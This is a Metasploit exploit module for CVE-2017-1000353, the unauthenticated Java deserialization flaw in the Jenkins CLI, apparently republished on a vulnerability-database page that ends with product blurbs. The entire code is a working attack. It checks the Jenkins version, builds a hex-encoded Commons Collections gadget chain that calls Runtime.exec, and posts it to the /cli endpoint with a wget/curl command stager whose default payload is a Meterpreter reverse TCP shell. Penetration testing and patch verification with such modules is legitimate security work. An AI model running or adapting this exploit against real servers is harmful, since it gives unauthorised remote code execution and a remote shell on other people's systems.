`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jenkins CLI Deserialization',
'Description' => %q{
An unauthenticated Java object deserialization vulnerability exists
in the CLI component for Jenkins versions `v2.56` and below.
The `readFrom` method within the `Command` class in the Jenkins
CLI remoting component deserializes objects received from clients without
first checking / sanitizing the data. Because of this, a malicious serialized
object contained within a serialized `SignedObject` can be sent to the Jenkins
endpoint to achieve code execution on the target.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SSD', # PoC
'Unknown', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'],
[ 'CVE', '2017-1000353']
],
'Privileged' => false,
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
'Linux',
{
'Platform' => 'linux',
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2017-04-26',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ UNRELIABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])
]
)
end
def check
login_uri = normalize_uri(target_uri.path, 'login')
login_res = send_request_cgi(
'method' => 'GET',
'uri' => login_uri
)
return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res
/Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body
return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version
vers_no = Gem::Version.new(version)
return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Gem::Version.new('2.54')
Exploit::CheckCode::Detected
end
def exploit
print_status('Sending payload...')
execute_cmdstager(noconcat: true)
end
def format_payload(payload_data)
formatted_payload = '74'
formatted_payload << payload_data.length.to_s(16).rjust(4, '0')
formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
def execute_command(cmd, _opts = {})
sess_uuid = SecureRandom.uuid
sess_uri = normalize_uri(target_uri.path, 'cli')
preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
send_request_cgi(
{
'uri' => sess_uri,
'method' => 'POST',
'headers' =>
{
'Side' => 'download',
'Session' => sess_uuid
}
},
nil, false
) # don't wait for response, and don't disconnect
cmd = build_obj(cmd)
send_request_cgi(
{
'uri' => sess_uri,
'method' => 'POST',
'data' => preamble + [ cmd ].pack('H*'),
'headers' =>
{
'Side' => 'upload',
'Session' => sess_uuid
}
}
)
sleep(2) # give buffer time between requests for processing
end
def build_obj(obj_data)
payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'
payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'
payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'
payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'
payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'
payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'
payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'
payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'
payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'
payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'
payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'
payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'
payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'
payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'
payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'
payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'
payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'
payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'
payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'
payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'
payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'
payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'
payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'
payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'
payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'
payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'
payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'
payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'
payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'
payload_data << '75720013'
payload_data << '5b4c6a6176612e6c616e672e537472696e673b'
payload_data << 'add256e7e91d7b47'
payload_data << '020000'
payload_data << '7870'
payload_data << '00000001'
obj_data = format_payload(obj_data)
payload_data << obj_data
payload_data << '740004'
payload_data << '65786563' # exec
payload_data << '7571007e0'
payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'
payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'
payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'
payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'
# This index is the length of the serialized
# object that belongs to the SignedObject
start_arr = payload_data.index('050daced')
end_arr = payload_data.index('787571007e')
new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)
payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')
payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'
payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'
payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'
payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'
payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'
payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'
payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'
payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation